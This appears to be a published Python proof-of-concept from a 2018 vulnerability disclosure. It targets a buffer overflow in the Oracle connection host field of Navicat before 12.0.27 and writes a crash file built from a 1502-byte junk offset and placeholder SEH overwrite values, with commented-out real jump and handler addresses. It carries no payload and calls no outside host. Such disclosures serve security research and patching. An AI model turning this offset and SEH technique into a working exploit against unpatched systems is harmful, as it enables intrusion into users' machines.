24 lines
No EOL
726 B
Python
Executable file
24 lines
No EOL
726 B
Python
Executable file
#!/usr/bin/python
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# Title: Navicat < 12.0.27 Oracle Connection Overflow
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# Author: Kevin McGuigan
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# Twitter: @_h3xagram
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# Author Website: https://www.7elements.co.uk
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# Vendor Website: https://www.navicat.com
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# Date: 27/04/2018
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# Version: 12.0.26
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# Tested on Windows 7 32-bit
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# Vendor notified on 04/04/2018. Patch issued on 25/04/2018.
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# Generate file > Create new Oracle Connection > paste contents of "navicatPOC.txt" into host field and test connection to trigger overflow.
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filename="navicatPOC.txt"
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junk = "A" * 1502
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#nseh = "\x4C\x4C\x77\x04"
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#seh= "\x75\x2a\x01\x10"
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nseh = "B" * 4
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seh = "C" * 4
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fill = "D" * 4000
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buffer = junk + nseh + seh + fill
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textfile = open(filename , 'w')
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textfile.write(buffer)
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textfile.close() |